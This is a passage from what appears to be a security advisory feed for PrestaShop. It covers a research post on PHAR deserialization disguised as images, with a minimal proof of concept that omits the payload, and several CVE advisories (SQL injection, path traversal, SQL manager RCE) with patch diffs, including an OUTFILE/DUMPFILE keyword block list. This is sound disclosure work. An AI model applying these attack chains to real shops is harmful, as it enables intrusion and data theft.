</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;, &quot;202-ecommerce.com&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[Initialy flagged as path traversal with a medium severity, the work of Friends Of Presta Security team proven the ability to use this vulnerability to implicity deserialize a malicious load (critical severity).]]></summary></entry><entry><title type="html">[CWE-502] Exploring the perils of implicit deserialization of a phar in PrestaShop prior to PHP 8.0 (part 2)</title><link href="https://security.friendsofpresta.org/research/2023/09/04/deserialization-untrusted-data-CWE-502-part2.html" rel="alternate" type="text/html" title="[CWE-502] Exploring the perils of implicit deserialization of a phar in PrestaShop prior to PHP 8.0 (part 2)" /><published>2023-09-04T00:00:00+00:00</published><updated>2023-09-04T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/research/2023/09/04/deserialization-untrusted-data-CWE-502-part2</id><content type="html" xml:base="https://security.friendsofpresta.org/research/2023/09/04/deserialization-untrusted-data-CWE-502-part2.html"><![CDATA[<p>Prior to PHP 8.0, “The PHP documentation reveals that PHAR manifest files contain serialized metadata. Crucially, if you perform any filesystem operations on a <code class="language-plaintext highlighter-rouge">phar://</code> stream, this metadata is implicitly deserialized. This means that a <code class="language-plaintext highlighter-rouge">phar://</code> stream can potentially be a vector for exploiting insecure deserialization, provided that you can pass this stream into a filesystem method.”</p>

<p><a href="https://portswigger.net/web-security/deserialization/exploiting#phar-deserialization">Source</a></p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>Published at</strong>: 2023-09-04</li>
  <li><strong>Platform</strong>: All CMS espacially PrestaShop.</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/502.html">CWE-502</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="implicit-deserialization-of-a-phar-disguised-as-an-image-part-2">Implicit deserialization of a phar disguised as an image (part 2)</h2>

<p>This is a variant of the same malicious deserialization triggering previouly highlighted “<a href="https://security.friendsofpresta.org/research/2023/08/28/deserialization-untrusted-data-CWE-502-part1.html">Exploring the perils of unsafe unserialize() in PrestaShop (part 1)</a>” with another attack vector.</p>

<p>This security issue is not new. In 2018, the <a href="https://github.com/farisv/PrestaShop-CVE-2018-19126">CVE-2018-19126</a> touched the PrestaShop core. Fortunately, the exploit was available only as administrator.</p>

<p>This CVE was the first alert send in 2018 that proves the execution of remote code through the deseralization of an untrusted files (here a phar uploaded instead of a pdf).</p>

<p><strong>WARNING</strong> : This is the most dangerous critical chain of our ecosystem and you will nearly never seen any CVE about it.</p>

<h3 id="how-it-works-">How it works ?</h3>

<p>We highly recommend to read carefully this blog post about <a href="https://www.keysight.com/blogs/tech/nwvs/2020/07/23/exploiting-php-phar-deserialization-vulnerabilities-part-1">exploiting PHP Phar deserialization vulnerabilities</a> to understand it.</p>

<p>In summary, the following PHP methods accept php wrappers http://, data://, file:// and also phar://.</p>

<p>But the phar (PHp ARchive) particularity is the ability to implicitly unserialize each serialized string inside in a file.</p>

<p>Here is a list of <a href="https://www.php.net/manual/en/ref.filesystem.php">filesystem functions</a> that trigger phar deserialization:</p>

<table>
  <thead>
    <tr>
      <th> </th>
      <th> </th>
      <th> </th>
      <th> </th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">copy</code></td>
      <td><code class="language-plaintext highlighter-rouge">file_exists</code></td>
      <td><code class="language-plaintext highlighter-rouge">file_get_contents</code></td>
      <td><code class="language-plaintext highlighter-rouge">file_put_contents</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">file</code></td>
      <td><code class="language-plaintext highlighter-rouge">fileatime</code></td>
      <td><code class="language-plaintext highlighter-rouge">filectime</code></td>
      <td><code class="language-plaintext highlighter-rouge">filegroup</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">fileinode</code></td>
      <td><code class="language-plaintext highlighter-rouge">filemtime</code></td>
      <td><code class="language-plaintext highlighter-rouge">fileowner</code></td>
      <td><code class="language-plaintext highlighter-rouge">fileperms</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">filesize</code></td>
      <td><code class="language-plaintext highlighter-rouge">filetype</code></td>
      <td><code class="language-plaintext highlighter-rouge">fopen</code></td>
      <td><code class="language-plaintext highlighter-rouge">is_dir</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">is_executable</code></td>
      <td><code class="language-plaintext highlighter-rouge">is_file</code></td>
      <td><code class="language-plaintext highlighter-rouge">is_link</code></td>
      <td><code class="language-plaintext highlighter-rouge">is_readable</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">is_writable</code></td>
      <td><code class="language-plaintext highlighter-rouge">lstat</code></td>
      <td><code class="language-plaintext highlighter-rouge">mkdir</code></td>
      <td><code class="language-plaintext highlighter-rouge">parse_ini_file</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">readfile</code></td>
      <td><code class="language-plaintext highlighter-rouge">touch</code></td>
      <td><code class="language-plaintext highlighter-rouge">unlink</code></td>
      <td><code class="language-plaintext highlighter-rouge">stat</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">getimagesize</code></td>
      <td><code class="language-plaintext highlighter-rouge">imagecreatefrom(jpeg|gif|png)</code></td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p>This other article shows how to <a href="https://www.nc-lp.com/blog/disguise-phar-packages-as-images">disguise a phar as a jpeg file</a>.</p>

<p>So, an attacker can craft a perfect image with mime type, extensions, … validations and exploit the implicit unserialization by adding a malicious payload.</p>

<h3 id="proof-of-concept">Proof of concept</h3>

<p><strong>FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.</strong></p>

<ol>
  <li>Create a module and put this sample file in the module dir.</li>
</ol>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// modules/mymodule/mymodule.php</span>

<span class="kd">class</span> <span class="nc">Mymodule</span>
<span class="p">{</span>
<span class="mf">...</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">getContent</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="nv">$isExists</span> <span class="o">=</span> <span class="nb">file_exists</span><span class="p">(</span><span class="s1">'phar://phar.jpg'</span><span class="p">);</span>

        <span class="k">return</span> <span class="nv">$isExists</span><span class="p">;</span>
    <span class="p">}</span>
<span class="mf">...</span>
</code></pre></div></div>
<p>Note: For security reasons, the phar.jpg file is not supplied in this POC.</p>

<ol>
  <li>
    <p>Go to the configuration page of the module.</p>
  </li>
  <li>
    <p>This piece of code will put an <code class="language-plaintext highlighter-rouge">a.php</code> file in the designated directory of PrestaShop.</p>
  </li>
</ol>

<h3 id="what-should-be-remembered">What should be remembered?</h3>

<p>As you can see, to be exploited, you’ll have a chain of vulnerabilities composed by:</p>

<ol>
  <li>Firstly, the hacker should upload a static file like an image, a PDF, … that contains a malicious payload.</li>
</ol>

<p>PrestaShop core <code class="language-plaintext highlighter-rouge">ImageManager::validateUpload</code> class cannot filter this kind of fake “phar” especially images. The upload of a phar as an image on the product page removed the payload (by resizing it), but not in the CMS page WYSIWYG.</p>

<p>We could classify this vulnerability as <a href="https://cwe.mitre.org/data/definitions/646.html">CWE-646</a>, but this weakness can only be exploited with a second weakness.</p>

<ol>
  <li>Secondly, the hacker should exploit an untrusted filesystem method like <code class="language-plaintext highlighter-rouge">getimagesize($_GET['param'])</code> (or <code class="language-plaintext highlighter-rouge">$_POST</code>, <code class="language-plaintext highlighter-rouge">$_COOKIE</code>, …). But this kind of path traversal <code class="language-plaintext highlighter-rouge">getimagesize( _PS_ROOT_DIR_ . $_GET['param'])</code> cannot be exploited for a malicious deserialization.</li>
</ol>

<p>On the other hand, PrestaShop core methods <code class="language-plaintext highlighter-rouge">ImageManager::thumbnail($_GET['param'], ...)</code>, <code class="language-plaintext highlighter-rouge">ImageManager::getMimeType($_GET['param'])</code>, … call <code class="language-plaintext highlighter-rouge">file_exists</code> or <code class="language-plaintext highlighter-rouge">getimagesize</code> witch trigger phar deserialization.</p>

<p>Path traversal <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a> and SSRF <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918</a> could be exploited to trigger a phar deserialization.</p>

<p><strong>BECAREFUL</strong>: The probability to register in a single third part (module, dependency) of PrestaShop both vulnerabilities is quite low. Moreover, each weakness in CWE-646 and CWE-918 (or CWE-22) in several modules in the third part is unusable separately but a combination of both is critical. <strong>That’s why the majority of exploits will fly under the radar.</strong></p>

<h3 id="how-to-prevent-this-vulnerability">How to prevent this vulnerability?</h3>

<p>Phar wrapper cannot be disabled via a php.ini settings.</p>

<p>As a developer:</p>
<ul>
  <li>A strict validation of input data is absolutely essential!</li>
  <li>Use <code class="language-plaintext highlighter-rouge">basename()</code> PHP method to prevent path traversal and unwanted use of wrapper such as <code class="language-plaintext highlighter-rouge">phar://</code> : <code class="language-plaintext highlighter-rouge">getimagesize(basename($_GET['param']))</code></li>
  <li>Use the GD library to remove dummy serialized data from an image.</li>
</ul>

<p>As an admin sys:</p>
<ul>
  <li>Set your firewall with <a href="https://github.com/coreruleset/coreruleset/blob/e36f27e1429a841e91996f4a521d40c996ec74eb/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf#L213">OWASP rules to filter “phar://”</a></li>
  <li>Upgrade PHP after 8.0</li>
</ul>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-09-04</td>
      <td>Publication of this security advisory</td>
    </tr>
    <tr>
      <td>2023-09-15</td>
      <td>Edit this publication to reduce the scope of impacted PHP version prior to PHP 8.0</td>
    </tr>
  </tbody>
</table>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="research" /><summary type="html"><![CDATA[Prior to PHP 8.0, “The PHP documentation reveals that PHAR manifest files contain serialized metadata. Crucially, if you perform any filesystem operations on a phar:// stream, this metadata is implicitly deserialized. This means that a phar:// stream can potentially be a vector for exploiting insecure deserialization, provided that you can pass this stream into a filesystem method.”]]></summary></entry><entry><title type="html">[CVE-2023-39524] Full SQL injection possible in search product in backoffice</title><link href="https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39524.html" rel="alternate" type="text/html" title="[CVE-2023-39524] Full SQL injection possible in search product in backoffice" /><published>2023-09-01T00:00:00+00:00</published><updated>2023-09-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39524</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39524.html"><![CDATA[<p>PrestaShop is an open source e-commerce web application. Prior to version 8.1.1, SQL injection possible in the product search field, in BO’s product page. Version 8.1.1 contains a patch for this issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39524">CVE-2023-39524</a></li>
  <li><strong>Published at</strong>: 2023-08-07</li>
  <li><strong>Advisory source</strong>: PrestaShop</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &gt; 8.0.0 and &lt;= 8.1.0, 8.1.1 patched the issue</li>
  <li><strong>Product author</strong>: PrestaShop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: medium (7.2)</li>
</ul>

<h2 id="description">Description</h2>

<p>SQL injection possible in product search field, in BO’s product page nammed v2 on associated product ajax request.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: none</li>
  <li><strong>Privilege required</strong>: high</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: low</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Elevate privileges to super admin</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch">patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/src/Adapter/Product/Repository/ProductRepository.php
</span><span class="gi">+++ b/src/Adapter/Product/Repository/ProductRepository.php
</span><span class="p">@@ -889,7 +889,7 @@</span> protected function getSearchQueryBuilder(
             -&gt;addGroupBy('p.id_product')
         ;
 
<span class="gd">-        $dbSearchPhrase = sprintf('"%%%s%%"', $searchPhrase);
</span><span class="gi">+        $dbSearchPhrase = sprintf('"%%%s%%"', pSQL($searchPhrase));
</span>         $qb-&gt;where($qb-&gt;expr()-&gt;or(
             $qb-&gt;expr()-&gt;like('pl.name', $dbSearchPhrase),
 
</code></pre></div></div>

<p>In this case, considered as a better solution because the main default of this request is that <strong>the SQL is not well prepared</strong> (using PDO):</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/src/Adapter/Product/Repository/ProductRepository.php
</span><span class="gi">+++ b/src/Adapter/Product/Repository/ProductRepository.php
</span><span class="p">@@ -889,26 +889,27 @@</span> protected function getSearchQueryBuilder(
             -&gt;addGroupBy('p.id_product')
         ;
 
<span class="gd">-        $dbSearchPhrase = sprintf('"%%%s%%"', $searchPhrase);
</span>         $qb-&gt;where($qb-&gt;expr()-&gt;or(
<span class="gd">-            $qb-&gt;expr()-&gt;like('pl.name', $dbSearchPhrase),
</span><span class="gi">+            $qb-&gt;expr()-&gt;like('pl.name', ':dbSearchPhrase'),
</span> 
             // Product references
<span class="gd">-            $qb-&gt;expr()-&gt;like('p.isbn', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('p.upc', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('p.mpn', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('p.reference', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('p.ean13', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('p.supplier_reference', $dbSearchPhrase),
</span><span class="gi">+            $qb-&gt;expr()-&gt;like('p.isbn', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('p.upc', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('p.mpn', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('p.reference', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('p.ean13', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('p.supplier_reference', ':dbSearchPhrase'),
</span> 
             // Combination attributes
<span class="gd">-            $qb-&gt;expr()-&gt;like('pa.isbn', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('pa.upc', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('pa.mpn', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('pa.reference', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('pa.ean13', $dbSearchPhrase),
-            $qb-&gt;expr()-&gt;like('pa.supplier_reference', $dbSearchPhrase)
</span><span class="gi">+            $qb-&gt;expr()-&gt;like('pa.isbn', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('pa.upc', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('pa.mpn', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('pa.reference', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('pa.ean13', ':dbSearchPhrase'),
+            $qb-&gt;expr()-&gt;like('pa.supplier_reference', ':dbSearchPhrase')
</span>         ));
<span class="gi">+        $dbSearchPhrase = sprintf('%%%s%%', $searchPhrase);
+        $qb-&gt;setParameter(':dbSearchPhrase', $dbSearchPhrase);
</span> 
         if (!empty($filters)) {
             foreach ($filters as $type =&gt; $filter) {
</code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>Upgrade PrestaShop after 8.1.1</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-75p5-jwx4-qw9h">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/2047d4c053043102bc46a37d383b392704bf14d7">Patch</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[PrestaShop is an open source e-commerce web application. Prior to version 8.1.1, SQL injection possible in the product search field, in BO’s product page. Version 8.1.1 contains a patch for this issue.]]></summary></entry><entry><title type="html">[CVE-2023-39525][CVE-2023-39529][CVE-2023-39530] path traversal: file deletion in the backoffice</title><link href="https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39525-CVE-2023-39529-CVE-2023-39530.html" rel="alternate" type="text/html" title="[CVE-2023-39525][CVE-2023-39529][CVE-2023-39530] path traversal: file deletion in the backoffice" /><published>2023-09-01T00:00:00+00:00</published><updated>2023-09-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39525-CVE-2023-39529-CVE-2023-39530</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39525-CVE-2023-39529-CVE-2023-39530.html"><![CDATA[<p>PrestaShop is an open source e-commerce web application. Prior to version 8.1.1, in the back office, files can be compromised using path traversal by replaying the import file deletion query with a specified file path that uses the traversal path. Version 8.1.1 contains a patch for this issue. There are no known workarounds.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39525">CVE-2023-39525</a> &amp; <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39529">CVE-2023-39529</a> &amp; <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39530">CVE-2023-39530</a></li>
  <li><strong>Published at</strong>: 2023-08-07</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-m9r4-3fg7-pqm2">PrestaShop</a> &amp; <a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-2rf5-3fw8-qm47">PrestaShop</a> &amp; <a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-v4gr-v679-42p7">PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &lt;= 8.1.0 (Patched versions 8.1.1)</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (6.7)</li>
</ul>

<h2 id="description">Description</h2>

<p>A administrator can forge a request to remove any file in the installed PrestaShop by exploiting the import feature or via Customer Messages feature.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: high</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: Low</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Remove htaccess to unlock logs or sensitive directories containing technical or personnal data.</li>
</ul>

<h2 id="patch">Patch</h2>

<h3 id="cve-2023-39525">CVE-2023-39525</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/src/Core/Import/File/FileRemoval.php
</span><span class="gi">+++ b/src/Core/Import/File/FileRemoval.php
</span><span class="p">@@ -52,6 +52,7 @@</span> public function __construct(ImportDirectory $importDirectory)
     public function remove($filename)
     {
         $fs = new Filesystem();
<span class="gi">+        $filename = basename($filename);
</span>         $filesToRemove = [
             $this-&gt;importDirectory . $filename,
             $this-&gt;importDirectory . 'csvfromexcel/' . $filename,
</code></pre></div></div>

<h3 id="cve-2023-39529">CVE-2023-39529</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/classes/Attachment.php
</span><span class="gi">+++ b/classes/Attachment.php
</span><span class="p">@@ -111,7 +111,7 @@</span> public function update($nullValues = false)
     public function delete()
     {
         if (file_exists(_PS_DOWNLOAD_DIR_ . $this-&gt;file)) {
<span class="gd">-            @unlink(_PS_DOWNLOAD_DIR_ . $this-&gt;file);
</span><span class="gi">+            @unlink(_PS_DOWNLOAD_DIR_ . basename($this-&gt;file));
</span>         }
 
         $sql = new DbQuery();
</code></pre></div></div>
<h3 id="cve-2023-39530">CVE-2023-39530</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/classes/CustomerMessage.php
</span><span class="gi">+++ b/classes/CustomerMessage.php
</span><span class="p">@@ -162,7 +162,7 @@</span> public static function getTotalCustomerMessages($where = null)
     public function delete()
     {
         if (!empty($this-&gt;file_name)) {
<span class="gd">-            @unlink(_PS_UPLOAD_DIR_ . $this-&gt;file_name);
</span><span class="gi">+            @unlink(_PS_UPLOAD_DIR_ . basename($this-&gt;file_name));
</span>         }
 
         return parent::delete();
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of PrestaShop.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-m9r4-3fg7-pqm2">PrestaShop product repository CVE-2023-39525</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39525">National Vulnerability Database CVE-2023-39525</a></li>
  <li>
    <p><a href="https://github.com/PrestaShop/PrestaShop/commit/c7c9a5110421bb2856f4d312ecce192d079b5ec7.patch">Patch CVE-2023-39525</a></p>
  </li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-2rf5-3fw8-qm47">PrestaShop product repository CVE-2023-39529</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39529">National Vulnerability Database CVE-2023-39529</a></li>
  <li>
    <p><a href="https://github.com/PrestaShop/PrestaShop/commit/b08c647305dc1e9e6a2445b724d13a9733b6ed82.patch">Patch CVE-2023-39529</a></p>
  </li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-v4gr-v679-42p7">PrestaShop product repository CVE-2023-39530</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39530">National Vulnerability Database CVE-2023-39530</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/c7c9a5110421bb2856f4d312ecce192d079b5ec7.patch">Patch CVE-2023-39530</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[PrestaShop is an open source e-commerce web application. Prior to version 8.1.1, in the back office, files can be compromised using path traversal by replaying the import file deletion query with a specified file path that uses the traversal path. Version 8.1.1 contains a patch for this issue. There are no known workarounds.]]></summary></entry><entry><title type="html">[CVE-2023-39526] SQL manager vulnerability (potential RCE)</title><link href="https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39526.html" rel="alternate" type="text/html" title="[CVE-2023-39526] SQL manager vulnerability (potential RCE)" /><published>2023-09-01T00:00:00+00:00</published><updated>2023-09-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39526</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/09/01/core-CVE-2023-39526.html"><![CDATA[<p>PrestaShop is an open source e-commerce web application. Versions prior to 1.7.8.10, 8.0.5, and 8.1.1 are vulnerable to remote code execution through SQL injection and arbitrary file write in the back office. Versions 1.7.8.10, 8.0.5, and 8.1.1 contain a patch. There are no known workarounds.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39526">CVE-2023-39526</a></li>
  <li><strong>Published at</strong>: 2023-08-07</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-gf46-prm4-56pc">PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &gt;= 8.0.0 &lt; 8.0.3 and &lt; 1.7.8.8 (Patched versions 8.0.4 and 1.7.8.9)</li>
  <li><strong>Weakness</strong>: <a href="https://www.cvedetails.com/cwe-details/22/cwe.html">CWE-22</a></li>
  <li><strong>Severity</strong>: medium (7.2)</li>
</ul>

<h2 id="description">Description</h2>

<p>Remote code execution through SQL injection and arbitrary file write in back office</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: high</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Elevate privileges to super admin</li>
  <li>Extract sensitive data, such as tokens or private keys stored in config files</li>
  <li>Extract other private data, such as log files or exports</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/classes/RequestSql.php
</span><span class="gi">+++ b/classes/RequestSql.php
</span><span class="p">@@ -65,6 +65,7 @@</span> class RequestSqlCore extends ObjectModel
             'RESET', 'START', 'STOP', 'PURGE', 'EXECUTE', 'PREPARE', 'DEALLOCATE', 'LOCK', 'USING', 'DROP', 'FOR', 'UPDATE', 'BEGIN', 'BY', 'ALL', 'SHARE',
             'MODE', 'TO', 'KEY', 'DISTINCTROW', 'DISTINCT',  'HIGH_PRIORITY', 'LOW_PRIORITY', 'DELAYED', 'IGNORE', 'FORCE', 'STRAIGHT_JOIN',
             'SQL_SMALL_RESULT', 'SQL_BIG_RESULT', 'QUICK', 'SQL_BUFFER_RESULT', 'SQL_CACHE', 'SQL_NO_CACHE', 'SQL_CALC_FOUND_ROWS', 'WITH',
<span class="gi">+            'OUTFILE', 'DUMPFILE',
</span>         ],
     ];
 
<span class="gh">diff --git a/classes/db/Db.php b/classes/db/Db.php
index 9d44e5e0fe1e..6223b6a1d03f 100644
</span><span class="gd">--- a/classes/db/Db.php
</span><span class="gi">+++ b/classes/db/Db.php
</span><span class="p">@@ -603,7 +603,11 @@</span> public function executeS($sql, $array = true, $use_cache = true)
         }
 
         // This method must be used only with queries which display results
<span class="gd">-        if (!preg_match('#^\s*\(?\s*(select|show|explain|describe|desc|checksum)\s#i', $sql)) {
</span><span class="gi">+        if (
+            !preg_match('#^\s*\(?\s*(select|show|explain|describe|desc|checksum)\s#i', $sql)
+            || stripos($sql, 'outfile') !== false
+            || stripos($sql, 'dumpfile') !== false
+        ) {
</span>             throw new PrestaShopDatabaseException('Db-&gt;executeS() must be used only with select, show, explain or describe queries');
         }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the PrestaShop</li>
  <li>Disable local_infile MySQL options if not usefull</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-gf46-prm4-56pc">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/817847e2347844a9b6add017581f1932bcd28c09.patch">Patch</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-39526">National Vulnerability Database CVE-2023-39526</a></li>
